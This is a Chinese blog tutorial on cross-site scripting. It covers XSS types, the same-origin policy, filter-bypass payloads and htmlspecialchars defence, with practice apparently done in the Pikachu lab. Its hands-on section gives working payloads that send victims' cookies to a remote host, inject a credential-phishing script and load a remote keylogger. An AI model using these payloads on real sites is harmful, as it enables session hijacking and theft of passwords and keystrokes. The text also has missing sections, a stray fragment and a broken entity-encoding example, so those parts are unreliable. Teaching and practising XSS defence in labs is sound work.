一文掌握XSS


小飞棍来咯2
小飞棍来咯2 2022-09-26 14:24:58 49680
分类专栏: 资讯

XSS跨站脚本攻击

1、什么叫跨站脚本攻击

即:给一个目标插入脚本攻击代码,当浏览的人访问这个网站,那么浏览的人就中招了

2、XSS跨站脚本攻击的原理

原理:XSS(Cross Site Scripting)是指攻击者在网页中嵌入客户端脚本攻击代码,通常是JavaScript编写的危险代码,用户使用浏览器浏览网页时,脚本就会在用户的浏览器上执行,从而达到攻击者的目的。

3、XSS跨站脚本攻击的目的是什么?

最终目的是在网页中嵌入客户端恶意脚本代码让浏览者访问,最常用的攻击代码是javascript语言,但也会使用其它的脚本语言,例如:ActionScript、VBscript。而如今的互联网客户端脚本基本是基于Javascript,所以如果想要深入研究XSS,必须要精通Javascript。

而对于渗透测试人员来说只需要弹个窗就好,证明有XSS漏洞

4、XSS跨站脚本攻击出现的原因

程序对输入和输出的控制不够严格,导致"精心构造“的脚本输入后,在输到前端时被浏览器当作有效代码解析执行从而产生危害。代码示例:

<?php 
$name = $_GET['name'];		 没有任何过滤,解析的话就会造成xss
echo "Welcome $name<br>";		 如果没有echo那就没法解析上面的代码,也就不存在xss
?>
就好) 
 

储存型XSS:

交互的数据会被存在在数据库里面,永久性存储,具有很强的稳定性

DOM XSS:

不与后台服务器产生数据交互,通过前端的dom节点形成的XSS漏洞(危害很小,很难利用,但是也是一类)

7、如何查找XSS跨站脚本攻击漏洞

手工

对于XSS来说,只要有输入且有对脚本输出解析的地方(登录注册修改更新留言等等),都可以尝试XSS——>

http://xx.xx.xx.xx/xxx.php?id=参数'"><script>alert(12)</script>
  • 1

在这里插入图片描述

HTML标签、URL栏、Style地、Script地、referer头、cookies、post参数、页面带参数的地方等等

跟注入相似,找到带参数的地方,直接上脚本代码)

工具

**全自动扫描工具:**APPscan、AWVS、Burpsuite 等

**半自动化工具:**Burpsuite、firefox(hackbar)、XSSER XSSF等

实验,注:(利用扫描器扫出来的尝试的xss代码,中间插入弹窗,放到实际环境中测试)

8、什么是跨域

http:// www. oldboyedu.com :80 / news/index.php
协议 子域名 主域名 端口 资源地址

当协议、主机(主域名,子域名)、端口中的任意一个不相同时,称为不同域。我们把不同的域之间请求数据的操作,成为跨域操作。

9、同源策略

为了安全考虑,所有浏览器都约定了“同源策略”,同源策略禁止页面加载或执行与自身来源不同的域的任何脚本既不同域之间不能使用JS进行操作。比如:x.com域名下的js不能操作y.com域名下的对象

即:限制了跨域加载脚本

那么为什么要有同源策略? 比如一个恶意网站的页面通过js嵌入了银行的登录页面(二者不同源),如果没有同源限制,恶意网页上的javascript脚本就可以在用户登录银行的时候获取用户名和密码。

Tips:下面这些标签跨域加载资源(资源类型是有限止的)是不受同源策略限制的

<script src="...">  //加载本地js执行
<img src="...">  //图片
<link href="...">  //css
<iframe src="...">  //任意资源
  • 1
  • 2
  • 3
  • 4

10、修改同源策略

后台设置好Access-Control-Allow-Origin,设置为,既允许所有人访问*

也就是说,如果我们构造的url中使用到了.js脚本,同源策略是必须开启的,就像下面所介绍的键盘记录一样。例子:

<script src="http://192.168.18.61:99/pikachu/pkxss/rkeypress/rk.js"></script>
  • 1

11、XSS盲打

XSS盲打就是攻击者在前端提交的数据不知道后台是否存在xss漏洞的情况下,提交恶意JS代码在类似留言板等输入框后,所展现的后台位置的情况下,网站采用了攻击者插入的恶意代码,当后台管理员在操作时就会触发插入的恶意代码,从而达到攻击者的目的。

11'"><script>alert(63252)</script>
  • 1

在这里插入图片描述在这里插入图片描述

12、XSS绕过简单方法

大多数网站为了避免xss的攻击,对于攻击者的输入都采取了过滤的措施,导致攻击者通常不能正常插入恶意代码来达到攻击目的。但是仍存在一些漏洞可以利用,来绕过过滤措施。

xss绕过的方法有许多,主要取决于攻击者的思路和对前端技术的掌握,以下介绍几个简单的绕过方法。

原型:'"><script>alert(63252)</script>
  • 1
(1)

对前端的限制可以尝试进行抓包重发或者修改前端的HTML。

(2)

防止后台对输入的内容进行正则匹配来过滤输入,对于这样的过滤可以考虑大小写混合输入的方法。
例:

<sCRipT>alert('你打篮球像oldboy')</sCrIPt>
  • 1
(3)

防止后台对输入的内容进行替换,采用拼拼凑的输入方法。
例:

<scr<script>ipt>alert('你打篮球像oldboy')</scr<script>ipt>
  • 1
(4)

使用注释来干扰后台对输入内容的识别。
例:

<sc<!--test-->ript>alert('你打篮球像oldboy')</scr<!--tshauie-->ipt>
  • 1
(5)

编码

思路:后台有可能会对代码中的关键字进行过滤,但我们可以尝试将关键字进行编码后在插入,浏览器对改编码进行识别时,会翻译成正常的代码。(注意:编码在输出时是否会被正常识别和翻译才是关键,不是所有的编码都是可以的)

使用HTML进行编码:

<img src=x onerror="&97;&108;&101;&114;&116;&40;&39;&121;&97;&110;&103;&115;&104;&117;&97;&110;&103;&39;&41;"/>
  • 1
(6)

例:使用事件属性

(例如:系统用了正则匹配,导致大小写和双写绕过失效,但是可以使用事件驱动,原理就是让靶机因为无法出现一个不存在的图片而出发错误,出现弹窗。)

onerror(): <img src= onerror="alert('oldboy')"/>
  • 1

13、XSS绕过之htmlspecialchars()函数

htmlspecialchars()函数把一些预定义的字符转换为 HTML 实体。

预定义的字符是:
 & (和号)成为 &amp
 " (双引号)成为 &quot
 ’ (单引号)成为&039
 < (小于)成为 &lt
 >(大于)成为 &gt
 
 该函数的语法:htmlspecialchars(string,flags,character-set,double_encode)
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8

过滤原理:htmlspecialchars() 函数把预定义的字符转换为 HTML 实体,从而使XSS攻击失效。但是这个函数默认配置不会将"单引号"和"双引号"过滤,只有设置了quotestyle规定如何编码单引号和双引号才能会过滤掉单引号
(类似于sql参数化查询,将变量变为了常量)

可用的quotestyle类型:
ENT_COMPAT - 默认。仅编码双引号
ENT_QUOTES - 编码双引号和单引号
ENT_NOQUOTES - 不编码任何引号

可使用以下语句绕过:  q' onclick='alert(111)'
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6

在这里插入图片描述

15、xss之href输出绕过

javascript:alert(1111) 直接代入a标签herf里面一样可以绕过htmlspecialchars

在这里插入图片描述

16、xss之js输出绕过

原理代码:
<script>
    $ms='11'</script><script>alert(1111)</script> ;
    if($ms.length != 0){
        if($ms == 'tmac'){
            $('fromjs').text('tmac确实厉害,看那小眼神..')
        }else {
//            alert($ms);
            $('fromjs').text('无论如何不要放弃心中所爱..')
        }

    }
</script>

------------------
2'</script><script>alert(1111)</script>		这段代码应该写入$ms中
------------------
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17

在这里插入图片描述

17、XSS常规防范

XSS防御的总体思路是:

对输入进行过滤,对输出进行编码

谈一谈过滤和转义:

过滤:根据业务需求进行过滤,比如输出点要求输入手机号,则只允许输入手机号格式的数字。
转义:所有输出到前端的数据都根据输出点进行转义,比如输出到html中进行html实体转义,输入到JS里面的进行JS转义()

代码举例:

不可能难度
源代码:
<?php 
// Is there any input? 
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) { 
    // Check Anti-CSRF token 
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); 
    // Get input 
    $name = htmlspecialchars( $_GET[ 'name' ] ); 
    // Feedback for end user 
    echo "<pre>Hello ${name}</pre>"; 
} 
// Generate Anti-CSRF token 
generateSessionToken(); 
?>


系统使用了htmlspecialchars把我们XSS要用到的一些预定义字符转化为HTML实体,导致无法再进行反射型XSS攻击。
预定义字符包括:"、'、<、>、&
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19

18、常用工具

包括kali的xsser、beef、各种扫描器

实战

1、xss获取cookie

111'"><script>document.location = 'http://192.168.18.61:99/pikachu/pkxss/xcookie/cookie.php?cookie=' + document.cookie;</script>
  • 1

前端限制绕过:

在这里插入图片描述

在这里插入图片描述

填入上面的xss代码:

在这里插入图片描述

得到返回的结果。

2、反射型XSS(POST)获取用户cookies

不好利用

在用户登录的情况下:

在这里插入图片描述

使用户点击我们的含xss代码的页面:post.html,然后就能获取到登录状态下用户的cookies

在这里插入图片描述

3、xss钓鱼演示

222'"><script src="http://192.168.18.61:99/pikachu/pkxss/xfish/fish.php"></script>
  • 1

利用这段代码,让受害者输入用户名密码,我们后台就能接收到
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述

4、xss获取键盘记录演示(涉及到跨域)

条件:需要不受同源策略影响,到后台设置好Access-Control-Allow-Origin,设置为,既允许所有人访问,不受同源策略限制。*

rk.js关键代码解读:

var realkey = String.fromCharCode(event.keyCode);  //获取用户键盘记录,最后转化为字符串
xl+=realkey;   //赋值给x1
show();    //调用show涵数,通过下面ajax进行post发送键盘记录人内容``
  • 1
  • 2
  • 3

输入设置好的恶意JS代码:

xxx'"><script src="http://192.168.18.61:99/pikachu/pkxss/rkeypress/rk.js"></script>
  • 1

然后在键盘上随意输入,就可以到xss平台上去查看键盘输入的结果

在这里插入图片描述

在这里插入图片描述

网站声明:如果转载,请联系本站管理员。否则一切后果自行承担。

本文链接:https://www.xckfsq.com/news/show.html?id=10376
赞同 0
评论 0 条
小飞棍来咯2L0
粉丝 0 发表 10 + 关注 私信
上周热门
如何使用 StarRocks 管理和优化数据湖中的数据?  2969
【软件正版化】软件正版化工作要点  2888
统信UOS试玩黑神话:悟空  2860
信刻光盘安全隔离与信息交换系统  2746
镜舟科技与中启乘数科技达成战略合作,共筑数据服务新生态  1280
grub引导程序无法找到指定设备和分区  1249
华为全联接大会2024丨软通动力分论坛精彩议程抢先看!  169
2024海洋能源产业融合发展论坛暨博览会同期活动-海洋能源与数字化智能化论坛成功举办  169
点击报名 | 京东2025校招进校行程预告  165
华为纯血鸿蒙正式版9月底见!但Mate 70的内情还得接着挖...  161
本周热议
我的信创开放社区兼职赚钱历程 40
今天你签到了吗? 27
信创开放社区邀请他人注册的具体步骤如下 15
如何玩转信创开放社区—从小白进阶到专家 15
方德桌面操作系统 14
我有15积分有什么用? 13
用抖音玩法闯信创开放社区——用平台宣传企业产品服务 13
如何让你先人一步获得悬赏问题信息?(创作者必看) 12
2024中国信创产业发展大会暨中国信息科技创新与应用博览会 9
中央国家机关政府采购中心:应当将CPU、操作系统符合安全可靠测评要求纳入采购需求 8

加入交流群

请使用微信扫一扫!